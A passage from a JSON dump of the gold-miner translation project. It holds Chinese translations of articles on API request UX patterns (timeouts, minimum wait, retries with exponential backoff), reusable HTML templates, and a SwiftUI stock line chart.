**本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/crafting-beautiful-ux-with-api-requests.md",
    "content": "> * 原文地址：[Crafting beautiful UX with API requests](https://uxdesign.cc/crafting-beautiful-ux-with-api-requests-56e7dcc2f58e)\n> * 原文作者：[Ryan Baker](https://uxdesign.cc/@ryan.da.baker?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/crafting-beautiful-ux-with-api-requests.md](https://github.com/xitu/gold-miner/blob/master/TODO1/crafting-beautiful-ux-with-api-requests.md)\n> * 译者：[MeFelixWang](https://github.com/MeFelixWang)\n> * 校对者：[sunhaokk](https://github.com/sunhaokk)\n\n# 用 API 请求制作赏心悦目的 UX\n\n## 在构建 Web 应用时，首先要创建一个优雅且响应迅速的体验。\n\n试图控制超出 Web 应用程序范围的体验通常是事后的想法。工程师忘记了处理从 API 请求数据时可能会遇到的所有麻烦事情。在本文中，我将为你提供三种模式（包括代码片段），以使你的应用程序能弹性应对不可预测的情形。\n\n![](https://cdn-images-1.medium.com/max/1000/1*lEMi48f7LTbhCpaFKQVM6A.jpeg)\n\n让你的用户和这个愚蠢的人类一样快乐\n\n### 模式 1：超时\n\n超时是一种简单的模式。简而言之，就是：“如果你的反应比我想要的慢，请取消我的请求”。\n\n#### 什么时候用\n\n你应该使用超时来设置你希望请求耗用的时长**上限**。有什么可能会使你的 API 响应时间比预期的长？这取决于你的 API，但以下是一些现实场景的示例：\n\n你的服务器与数据库进行通信。数据库宕机了，但服务器的连接超时为 30 秒。服务器将花费完整的 30 秒来确定它无法与数据库通信。这意味着你的用户将等待 30 秒！\n\n你使用了 AWS 负载均衡器，其背后的服务器已宕机（无论出于何种原因）。你将负载均衡器超时保留为[默认值 60 秒](https://aws.amazon.com/blogs/aws/elb-idle-timeout-control/)，并且在失败之前一直尝试连接服务器。\n\n#### 什么时候不用\n\n如果你的 API 已知响应时间具有可变性，则不应使用超时。一个很好的例子可能是返回报告数据的 API。请求一天的数据是快速的（可能是亚秒响应时间），但请求八个月的数据大约需要 12 秒。\n\n**如果你无法确定对于请求应该花多长时间的可靠上限，则不要使用超时。**\n\n#### 如何使用\n\n假设你的应用程序中有一个方法可以做到这一点：\n\n![](https://cdn-images-1.medium.com/max/800/1*VrWx5PPIf84n8PKfaxCi8g.png)\n\n示例方法可能存在于 React 组件内部\n\n你知道你的 API 在 99％ 的时间里会在 3 秒内响应。假设你使用 [Promises](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise) 从 API 获取数据，你可以这样做：\n\n![](https://cdn-images-1.medium.com/max/800/1*n4ONmQQn8dwfd674LIPfLw.png)\n\n为你的 API 调用配置超时\n\n**注意：你可能用于进行 API 调用的大多数库都具有超时配置。请使用你工具的内置功能，而不是自己编写**\n\n### 模式 2：最短等待时间\n\n最短等待时间也是一种简单的模式。它与超时相反：它可以保护你的应用免受 API **快速**响应的影响。\n\n#### 什么时候用\n\n如果要向用户显示加载状态，则最短等待时间是一种非常好的模式，但 API 可能会快速响应。结果就是用户会看到加载状态，接着数据“弹出”进入视图，然后其才能专注于想做的事。\n\n这不是一个良好的体验。如果你显示加载状态，你是在告诉用户“稍等，我们正在处理些事儿，我们会马上回来”。这让用户可以喘口气，也许查看一下他们的手机 —— 如果用户看到加载状态，那么用户**希望等待**。如果你获取太快，那就太突兀了。你打断了她的休息，让她变得紧张。\n\n#### **什么时候不用**\n\n当你拥有响应速度始终非常快的 API 时，最好避免使用最短等待模式。**不要**为了添加加载状态而添加，如果不需要，就**不要**让用户等待。\n\n#### 如何使用\n\n使用上面的示例，你可以编写代码“在这两件事完成之前不做任何事”，如下所示：\n\n![](https://cdn-images-1.medium.com/max/800/1*-eXymmc8GfkuGTG4XrBMfw.png)\n\n强制请求的最短等待时间\n\n### 模式 3：重试\n\n重试模式是我将要介绍的最复杂的模式。基本的想法是，如果得到错误的响应，我们想要重试几次请求。这是一个非常简单的想法，但在使用它时需要记住一些注意事项。\n\n#### 什么时候用\n\n当你向可能发生间歇性故障的 API 发出请求时，你会希望使用此方法。当知道请求会**不时**因为无法控制的问题而失败时我们几乎都希望重试。\n\n就我而言，当我知道我正在发出使用特定数据库的请求时，我会经常使用它。访问该数据库时，有时它会失败。是的，这很糟糕。是的，这是我们应该解决的问题。作为应用程序开发人员，当被告知“暂时处理它”时，我们可能没有能力修复底层基础架构问题。这就是你想要重试的时候。\n\n#### 什么时候不用\n\n如果我们拥有可靠的且始终如一的响应式 API，则无需重试。如果响应失败并且重试后依然不能成功响应，那我们也就不需要重试了。\n\n大多数 API 都是一致的。这就是为什么你需要小心这个模式：\n\n#### 如何使用\n\n我们希望确保在发出请求时，不会对服务器造成冲击。想象一下因为负载过重造成服务器宕机的情形吧。重试将把一个已死的服务器再埋到六英尺深的地下。出于这个原因，我们在进行后续请求时需要所谓的**退避策略**。我们不希望在服务器宕机的情况下仍然立即一个接一个地发出 5 个请求。我们应该错开它们以减少 API 服务器上的负载。\n\n大多数情况下，我们使用**指数退避**来确定在发送下一个请求之前我们应该等待多长时间。我们通常只想重试 3 次，所以这里有一个使用不同函数的等待时间示例：\n\n![](https://cdn-images-1.medium.com/max/600/1*SrIVlW-y7ihWboBqzM6O9A.png)\n\n立即发送第一个请求。它失败了。接下来，我们需要确定在发送第一次重试之前使用退避策略等待多长时间。让我们看一下这些曲线，其中 X 等于我们已经发送的重试次数。\n\n使用我们的二次（y = x²）函数和线性（y = x）函数，在第一个等待时间内我们得到 0，即应该立即发送下一个请求。\n\n所以可以在运行时消除这两个函数了。\n\n使用指数（y = 2^x）函数和常数（y = 1）函数，我们得到 1 秒的等待时间。\n\n常数函数使我们无法灵活处理已经发送的重试次数，从而改变我们应该等待的时间。\n\n这就只剩下指数函数了。让我们编写一个函数，来告诉我们根据已经发送的重试次数确定等待多少秒：\n\n![](https://cdn-images-1.medium.com/max/800/1*3D0xaSIUBz-M5-h1ccbZuA.png)\n\n简单的 y = 2^x 函数\n\n在编写重试函数之前，我们想要一种方法来确定请求是否错误。假设状态码大于或等于 500 时，请求是错误的。这个就是我们可以为此编写的函数了：\n\n![](https://cdn-images-1.medium.com/max/800/1*y2ir3VPSLIbr1aWi_WcERg.png)\n\n如果响应错误，我们的函数会抛出自定义错误\n\n请记住，你可能有不同的标准来确定请求是否失败。最后，我们可以使用指数退避策略编写重试函数：\n\n![](https://cdn-images-1.medium.com/max/1000/1*kcvzvrQ58jm8GaCRmAKYvA.png)\n\n我们使用指数退避策略重试\n\n你会注意到我创建了一个我没有导出的函数（`_retryWithBackoff`）。使用我们的重试函数时，调用代码不能在迭代中显式传递。\n\n### 总结\n\n有很多很好的防御模式可以提供良好的用户体验。这三个你今天就可以使用！如果你有兴趣了解更多，我建议阅读 [**Release It**](https://www.amazon.com/Release-Design-Deploy-Production-Ready-Software/dp/1680502395/ref=pd_lpo_sbs_14_t_0?_encoding=UTF8&psc=1&refRID=BNBXXWPWRX7DEQ4CWMKB)！一本关于如何在构建可扩展软件时解决这些确切问题的书。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/crafting-reusable-html-templates.md",
    "content": "> * 原文地址：[Crafting Reusable HTML Templates](https://css-tricks.com/crafting-reusable-html-templates/)\n> * 原文作者：[Caleb Williams](https://css-tricks.com/author/calebdwilliams/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/crafting-reusable-html-templates.md](https://github.com/xitu/gold-miner/blob/master/TODO1/crafting-reusable-html-templates.md)\n> * 译者：[Mirosalva](https://github.com/Mirosalva)\n> * 校对者：[xionglong58](https://github.com/xionglong58)，[HearFishle](https://github.com/HearFishle)\n\n# 编写可以复用的 HTML 模板\n\n在我们的[上一篇文章中](https://juejin.im/post/5c9a3cce5188252d9b3771ad), 我们讨论了 web 组件规范（自定义元素、shadow DOM 和 HTML 模板）的高级特性。在本文以及接下来的三篇文章中，我们将这些技术应用到测试并更详细地去验证它们，看下我们在如今的产品如何应用它们。为了做到这些，我们将会从零开始构建一个自定义模式的对话框，来查看这些不同的技术如何组装在一起。\n\n#### 系列文章:\n\n1.  [Web 组件简介](https://juejin.im/post/5c9a3cce5188252d9b3771ad)\n2.  [编写可以复用的 HTML 模板（**本文**）](https://github.com/xitu/gold-miner/blob/master/TODO1/crafting-reusable-html-templates.md)\n3.  [从 0 开始创建自定义元素](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-a-custom-element-from-scratch.md)\n4.  [使用 Shadow DOM 封装样式和结构](https://github.com/xitu/gold-miner/blob/master/TODO1/encapsulating-style-and-structure-with-shadow-dom.md)\n5.  [Web 组件的高阶工具](https://github.com/xitu/gold-miner/blob/master/TODO1/advanced-tooling-for-web-components/.md)\n\n* * *\n\n### HTML 模板\n\n[Web 组件规范](https://www.w3.org/standards/techs/components#w3c_all)中最不被认可但是最强大的功能之一是 `<template>` 元素。在这个系列的[第一篇文章](https://css-tricks.com/an-introduction-to-web-components)中，我们将这种模板元素定义为『仅在调用时才渲染的用户自定义 HTML 模板』。换句话说，模板就是一种当浏览器被告知时才执行的 HTML 代码，其他情况下是被忽略的。\n\n这种模块可以通过许多有趣的方式去传递和应用。基于本文的目的，我们将看下如何为一种最终应用到自定义元素中的对话框创建模板。\n\n### 定义你的模板\n\n就像它听起来这样简单，一个 `<template>` 是一种 HTML 元素，所以一个含内容的模板所具备的最基本形式如下：\n\n```\n<template>\n  <h1>Hello world</h1>\n</template>\n```\n\n在浏览器中运行这段代码会显示空白页面，因为浏览器并没有渲染模板元素内容。这种方式的强大之处在于它允许我们保存自定义内容（或内容结构），以供后续使用，而不需要使用 JavaScript 来动态编写 HTML 代码。\n\n为了使用模板，我们 **将** 需要用到 JavaScript。\n\n```\nconst template = document.querySelector('template');\nconst node = document.importNode(template.content, true);\ndocument.body.appendChild(node);\n```\n\n真正神奇的地方在于 `document.importNode` 方法。这个函数将会为模板的 `content` 创建一份副本，并且做好将拷贝插入其他文档（或文档片段）的准备。函数的第一个参数获取到模板的内容，第二个参数告诉浏览器要对元素的 DOM 子树做一份深度拷贝（也就是拷贝它的所有子节点）。\n\n我们可以直接使用 `template.content`，但是这样做的话，我们随后需要把内容从元素中移除并将它拼接到其他文档的 body 部分。任何 DOM 节点仅可以被接入到一个位置，所以随后对模板内容的使用将会导致空文档片段（基本上是一个空值），因为之前已移动了内容对象。使用 `document.importNode` 允许我们在不同的位置来复用同一个模板内容的实例。\n\n以上代码执行后，节点内容会被拼接到 `document.body` 对象，并被渲染显示给用户。这样最终使我们能够做许多有趣的事情，比如为我们的用户（或者我们程序的消费者）提供创建内容的模板，类似下面的 demo，在[第一篇文章](https://css-tricks.com/an-introduction-to-web-components)我们讨论过：\n\n请参阅笔记[模板样例](https://codepen.io/calebdwilliams/pen/LqQmXN/)，来自 [CodePen](https://codepen.io) 的 Caleb Williams ([@calebdwilliams](https://codepen.io/calebdwilliams))。\n\n这个例子中，我们提供了两个模板来渲染同样的内容 —— 作者和他写的书。当表格变化时，我们选择渲染与该变化值相关联的模板。使用相同的技术允许我们最终创建一个自定义元素，该元素将使用稍后定义的模板。\n\n### 模板的多功能性\n\n模板中一个有趣的点是我们可以包含 **任意** HTML，包括脚本和样式元素。一个非常简单的模板例子是添加一个可以提示被点击的按钮。\n\n```\n<button id=\"click-me\">Log click event</button>\n```\n\n让我们加点样式：\n\n```\nbutton {\n  all: unset;\n  background: tomato;\n  border: 0;\n  border-radius: 4px;\n  color: white;\n  font-family: Helvetica;\n  font-size: 1.5rem;\n  padding: .5rem 1rem;\n}\n```\n\n...然后通过一个非常简单的脚本来调用按钮：\n\n```\nconst button = document.getElementById('click-me');\nbutton.addEventListener('click', event => alert(event));\n```\n\n当然，我们可以直接使用 `<style>` 和 `<script>` 标签来将他们放在同一个文件中，而非放在分离的文件中：\n\n```\n<template id=\"template\">\n  <script>\n    const button = document.getElementById('click-me');\n    button.addEventListener('click', event => alert(event));\n  </script>\n  <style>\n    #click-me {\n      all: unset;\n      background: tomato;\n      border: 0;\n      border-radius: 4px;\n      color: white;\n      font-family: Helvetica;\n      font-size: 1.5rem;\n      padding: .5rem 1rem;\n    }\n  </style>\n  <button id=\"click-me\">Log click event</button>\n</template>\n```\n\n一旦这个元素被加入到 DOM 结构中，我们会看到一个 ID 为 `#click-me` 的新按钮，一个全局的 CSS selector 被绑定到这个按钮的 ID，一个简单的事件监听回调函数会提示元素的点击事件。\n\n至于我们的脚本，我们仅需使用 `document.importNode` 来拼接内容，并且我们有一个包含大致内容的 HTML 模板，在页与页之间可以复用。\n\n请参阅笔记[包含脚本和样式的模板例子](https://codepen.io/calebdwilliams/pen/modxXr/)，来自 [CodePen](https://codepen.io) 的 Caleb Williams ([@calebdwilliams](https://codepen.io/calebdwilliams))。\n\n### 为我们的对话框编写模板\n\n回到我们编写一个对话框元素这个任务，我们希望定义自己的模板内容和样式。\n\n```\n<template id=\"one-dialog\">\n  <script>\n    document.getElementById('launch-dialog').addEventListener('click', () => {\n      const wrapper = document.querySelector('.wrapper');\n      const closeButton = document.querySelector('button.close');\n      const wasFocused = document.activeElement;\n      wrapper.classList.add('open');\n      closeButton.focus();\n      closeButton.addEventListener('click', () => {\n        wrapper.classList.remove('open');\n        wasFocused.focus();\n      });\n    });\n  </script>\n  <style>\n    .wrapper {\n      opacity: 0;\n      transition: visibility 0s, opacity 0.25s ease-in;\n    }\n    .wrapper:not(.open) {\n      visibility: hidden;\n    }\n    .wrapper.open {\n      align-items: center;\n      display: flex;\n      justify-content: center;\n      height: 100vh;\n      position: fixed;\n        top: 0;\n        left: 0;\n        right: 0;\n        bottom: 0;\n      opacity: 1;\n      visibility: visible;\n    }\n    .overlay {\n      background: rgba(0, 0, 0, 0.8);\n      height: 100%;\n      position: fixed;\n        top: 0;\n        right: 0;\n        bottom: 0;\n        left: 0;\n      width: 100%;\n    }\n    .dialog {\n      background: #ffffff;\n      max-width: 600px;\n      padding: 1rem;\n      position: fixed;\n    }\n    button {\n      all: unset;\n      cursor: pointer;\n      font-size: 1.25rem;\n      position: absolute;\n        top: 1rem;\n        right: 1rem;\n    }\n    button:focus {\n      border: 2px solid blue;\n    }\n  </style>\n  <div class=\"wrapper\">\n  <div class=\"overlay\"></div>\n    <div class=\"dialog\" role=\"dialog\" aria-labelledby=\"title\" aria-describedby=\"content\">\n      <button class=\"close\" aria-label=\"Close\">&#x2716;&#xfe0f;</button>\n      <h1 id=\"title\">Hello world</h1>\n      <div id=\"content\" class=\"content\">\n        <p>This is content in the body of our modal</p>\n      </div>\n    </div>\n  </div>\n</template>\n```\n\n这段代码将成为我们对话框的基础部分。简单介绍一下，我们有一个全局的关闭按钮，一个标题和一些内容。我们也添加了一些行为来实现可视化触发对话框（尽管它还无法被访问）。不幸的是，样式和脚本内容并非仅限作用于我们的模板，而是应用于整个文件，当我们将多个模板实例添加到 DOM 时，并没有产生理想的中的效果。在下篇文章中，我们将应用自定义元素f生成方法并创建我们自己的元素，实时使用该模板并封装元素的行为。\n\n请查阅笔记[以脚本模板来编写对话框](https://codepen.io/calebdwilliams/pen/JzjLyQ/)，来自 [CodePen](https://codepen.io) 的 Caleb Williams ([@calebdwilliams](https://codepen.io/calebdwilliams))。\n\n#### Article Series:\n\n1.  [Web Components 简介](https://juejin.im/post/5c9a3cce5188252d9b3771ad)\n2.  [编写可以复用的 HTML 模板（**本文**）](https://github.com/xitu/gold-miner/blob/master/TODO1/crafting-reusable-html-templates.md)\n3.  [从 0 开始创建自定义元素](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-a-custom-element-from-scratch.md)\n4.  [使用 Shadow DOM 封装样式和结构](https://github.com/xitu/gold-miner/blob/master/TODO1/encapsulating-style-and-structure-with-shadow-dom.md)\n5.  [Web 组件的高阶工具](https://github.com/xitu/gold-miner/blob/master/TODO1/advanced-tooling-for-web-components.md)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/create-a-line-chart-in-swiftui-using-paths.md",
    "content": "> * 原文地址：[Create a Line Chart in SwiftUI Using Paths](https://medium.com/better-programming/create-a-line-chart-in-swiftui-using-paths-183d0ddd4578)\n> * 原文作者：[Anupam Chugh](https://medium.com/@anupamchugh)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/create-a-line-chart-in-swiftui-using-paths.md](https://github.com/xitu/gold-miner/blob/master/TODO1/create-a-line-chart-in-swiftui-using-paths.md)\n> * 译者：[chaingangway](https://github.com/chaingangway)\n> * 校对者：[lsvih](https://github.com/lsvih)\n\n# 用 SwiftUI 的 Paths 创建折线图\n\n> 在iOS程序中创建美观的股票图表\n\n![Photo by [Chris Liverani](https://unsplash.com/@chrisliverani?utm_source=medium&utm_medium=referral) on [Unsplash](https://unsplash.com?utm_source=medium&utm_medium=referral).](https://cdn-images-1.medium.com/max/8064/0*eZh1HfzXfAjD_9ME)\n\nSwiftUI 框架在 2019 年的 WWDC 大会引入后，广受 iOS 社区欢迎。这种用 Swift 语言编写，易用的、声明式的 API 让开发者可以快速构建 UI 原型。\n\n虽然我们能用 Shapes 协议从头开始构建 [条形图](https://medium.com/better-programming/swiftui-bar-charts-274e9fbc8030)，但是构建折线图就不一样了。幸运的是，我们有 `Paths` 这个结构体来帮助我们。\n\n使用 SwiftUI 中的 paths，跟 Core Graphics 框架中的 `CGPaths` 类似，我们可以把直线与曲线结合，来构建美观的标志和形状。\n\nSwiftUI 中的 paths 是一套真正用声明式的方式来构建 UI 的指令集。在下面的几节中，我们将会讨论它的意义。\n\n## 我们的目标\n\n* 探索 SwiftUI 的 Path API，通过它来创建简单的图形。\n* 用 Combine 和 URLSession 来获取历史股票数据。我们将会用 [Alpha Vantage](https://www.alphavantage.co/) 的 API 来取得股票信息。\n* 在 SwiftUI 中创建折线图，来展示随时间变化的股票价格。\n\n读完本文后，你应该能够开发与下面类似的 iOS 程序。\n\n![An NSE India and two US-based stock charts.](https://cdn-images-1.medium.com/max/2000/1*0_IPSWXsxHgGDRk51CAPbw.png)\n\n## 创建一个简单的 Swift Path\n\n下面的例子，是通过在 SwiftUI 中使用 paths 来创建直角三角形：\n\n```Swift\nvar body: some View {\nPath { path in\npath.move(to: CGPoint(x: 100, y: 100))\npath.addLine(to: CGPoint(x: 100, y: 300))\npath.addLine(to: CGPoint(x: 300, y: 300))\n}.fill(Color.green)\n}\n```\n\nPath API 有很多函数。`move` 是用来设置路径的起点，`addline` 是用来向指定目标点绘制一条直线。\n\n另外 `addArc`、`addCurve`、`addQuadCurve`、`addRect` 和 `addEllipse` 等方法可以让我们创建圆弧或者贝塞尔曲线。\n\n用 `addPath` 可以添加两条或者多条路径。\n\n下面的插图展示了一个三角形，这个三角形下面有一个圆饼图。\n\n![](https://cdn-images-1.medium.com/max/2186/1*8XNc1miVjNhzzDCYW44p8g.png)\n\n既然我们已经了解怎样在 SwiftUI 中创建 paths，赶紧来看看 SwiftUI 中的折线图。\n\n## SwiftUI 折线图\n\n下面给出的模型，是用来解析 API 响应返回的 JSON。\n\n```Swift\nstruct StockPrice : Codable{\n    let open: String\n    let close: String\n    let high: String\n    let low: String\n    \n    private enum CodingKeys: String, CodingKey {\n        \n        case open = \"1. open\"\n        case high = \"2. high\"\n        case low = \"3. low\"\n        case close = \"4. close\"\n    }\n}\n\nstruct StocksDaily : Codable {\n    let timeSeriesDaily: [String: StockPrice]?\n    \n    private enum CodingKeys: String, CodingKey {\n        case timeSeriesDaily = \"Time Series (Daily)\"\n    }\n    \n    init(from decoder: Decoder) throws {\n        let values = try decoder.container(keyedBy: CodingKeys.self)\n        \n        timeSeriesDaily = try (values.decodeIfPresent([String : StockPrice].self, forKey: .timeSeriesDaily))\n    }\n}\n```\n\n创建一个 `ObservableObject` 类。我们用 URLSession 中的  Combine Publisher 来处理 API 请求，然后用 Combine 操作来转换结果。\n\n```Swift\nclass Stocks : ObservableObject {\n    \n    @Published var prices = [Double]()\n    @Published var currentPrice = \"....\"\n    var urlBase = \"https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol=NSE:YESBANK&apikey=demo&datatype=json\"\n    \n    var cancellable : Set<AnyCancellable> = Set()\n    \n    init() {\n        fetchStockPrice()\n    }\n    \n    func fetchStockPrice(){\n        \n        URLSession.shared.dataTaskPublisher(for: URL(string: \"\\(urlBase)\")!)\n            .map{output in\n                \n                return output.data\n        }\n        .decode(type: StocksDaily.self, decoder: JSONDecoder())\n        .sink(receiveCompletion: {_ in\n            print(\"completed\")\n        }, receiveValue: { value in\n\n            var stockPrices = [Double]()\n            \n            let orderedDates =  value.timeSeriesDaily?.sorted{\n                guard let d1 = $0.key.stringDate, let d2 = $1.key.stringDate else { return false }\n                return d1 < d2\n            }\n            \n            guard let stockData = orderedDates else {return}\n            \n            for (_, stock) in stockData {\n                if let stock = Double(stock.close){\n                    if stock > 0.0{\n                        stockPrices.append(stock)\n                    }\n                }\n            }\n            \n            DispatchQueue.main.async{\n                self.prices = stockPrices\n                self.currentPrice = stockData.last?.value.close ?? \"...\"\n            }\n        })\n            .store(in: &cancellable)\n        \n    }\n}\n\nextension String {\n    static let shortDate: DateFormatter = {\n        let formatter = DateFormatter()\n        formatter.dateFormat = \"yyyy-MM-dd\"\n        return formatter\n    }()\n    var stringDate: Date? {\n        return String.shortDate.date(from: self)\n    }\n}\n```\n\nAPI 结果中包含用日期作为 key 的内置 JSON。它们在字典中是无序的，需要进行排序。因此，我们声明了一个把字符串转换为日期的扩展，然后在 `sort` 方法中进行比较。\n\n既然已经在 `Published` 属性中获得了价格和股票数据，我们需要将它们传递给 `LineView` — 下面我们将会看到的一个自定义的 SwiftUI 视图：\n\n```Swift\nstruct LineView: View {\n    var data: [(Double)]\n    var title: String?\n    var price: String?\n\n    public init(data: [Double],\n                title: String? = nil,\n                price: String? = nil) {\n        \n        self.data = data\n        self.title = title\n        self.price = price\n    }\n    \n    public var body: some View {\n        GeometryReader{ geometry in\n            VStack(alignment: .leading, spacing: 8) {\n                Group{\n                    if (self.title != nil){\n                        Text(self.title!)\n                            .font(.title)\n                    }\n                    if (self.price != nil){\n                        Text(self.price!)\n                            .font(.body)\n                        .offset(x: 5, y: 0)\n                    }\n                }.offset(x: 0, y: 0)\n                ZStack{\n                    GeometryReader{ reader in\n                        Line(data: self.data,\n                             frame: .constant(CGRect(x: 0, y: 0, width: reader.frame(in: .local).width , height: reader.frame(in: .local).height)),\n                             minDataValue: .constant(nil),\n                             maxDataValue: .constant(nil)\n                        )\n                            .offset(x: 0, y: 0)\n                    }\n                    .frame(width: geometry.frame(in: .local).size.width, height: 200)\n                    .offset(x: 0, y: -100)\n\n                }\n                .frame(width: geometry.frame(in: .local).size.width, height: 200)\n        \n            }\n        }\n    }\n}\n```\n\n上面的视图从 SwiftUI 中的 ContentView 唤起，传入了名称、价格和历史价格的数组。由于使用了 GeometryReader，我们要向 `Line` 结构中的 frame 传入 reader 的宽和高。我们最后会用 SwiftUI 中的 paths 来连接这些点：\n\n```Swift\nstruct Line: View {\n    var data: [(Double)]\n    @Binding var frame: CGRect\n\n    let padding: CGFloat = 30\n    \n    var stepWidth: CGFloat {\n        if data.count < 2 {\n            return 0\n        }\n        return frame.size.width / CGFloat(data.count-1)\n    }\n    var stepHeight: CGFloat {\n        var min: Double?\n        var max: Double?\n        let points = self.data\n        if let minPoint = points.min(), let maxPoint = points.max(), minPoint != maxPoint {\n            min = minPoint\n            max = maxPoint\n        }else {\n            return 0\n        }\n        if let min = min, let max = max, min != max {\n            if (min <= 0){\n                return (frame.size.height-padding) / CGFloat(max - min)\n            }else{\n                return (frame.size.height-padding) / CGFloat(max + min)\n            }\n        }\n        \n        return 0\n    }\n    var path: Path {\n        let points = self.data\n        return Path.lineChart(points: points, step: CGPoint(x: stepWidth, y: stepHeight))\n    }\n    \n    public var body: some View {\n        \n        ZStack {\n\n            self.path\n                .stroke(Color.green ,style: StrokeStyle(lineWidth: 3, lineJoin: .round))\n                .rotationEffect(.degrees(180), anchor: .center)\n                .rotation3DEffect(.degrees(180), axis: (x: 0, y: 1, z: 0))\n                .drawingGroup()\n        }\n    }\n}\n```\n\n计算 `stepWidth` 和 `stepHeight` 的目的是在给定 frame 的宽和高的情况下，对图表进行约束。然后，把它们传递给 `Path` 结构体的扩展函数，用来创建折线图：\n\n```Swift\nextension Path {\n    \n    static func lineChart(points:[Double], step:CGPoint) -> Path {\n        var path = Path()\n        if (points.count < 2){\n            return path\n        }\n        guard let offset = points.min() else { return path }\n        let p1 = CGPoint(x: 0, y: CGFloat(points[0]-offset)*step.y)\n        path.move(to: p1)\n        for pointIndex in 1..<points.count {\n            let p2 = CGPoint(x: step.x * CGFloat(pointIndex), y: step.y*CGFloat(points[pointIndex]-offset))\n            path.addLine(to: p2)\n        }\n        return path\n    }\n}\n```\n\n最后，展示股票折线图的 SwiftUI 程序就完成了，如下图所示：\n\n![](https://cdn-images-1.medium.com/max/2186/1*51q3BlLa-XLLKtHn-mgTOA.png)\n\n## 总结\n\n本文中，我们再次将 SwiftUI 和 Combine 成功结合 — 这次是抓取股票价格数据，然后在折线图中展示。通过了解 SwiftUI 中 paths 的各种用法，并使用 `path` 方法来构建各种复杂的图形，是一个了解并入门 SwiftUI 的好机会。\n\n你可以使用手势对点和相应的值进行高亮处理，来进一步了解上文中的 SwiftUI 折线图。想知道怎样实现和更多资料，请参照 [这个仓库](https://github.com/AppPear/ChartView)。\n\n上文程序中的全部源码都在这个 [GitHub 仓库](https://github.com/anupamchugh/iowncode/tree/master/SwiftUILineChart).\n\n文章结束了。感谢阅读。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/creating-a-custom-element-from-scratch.md",
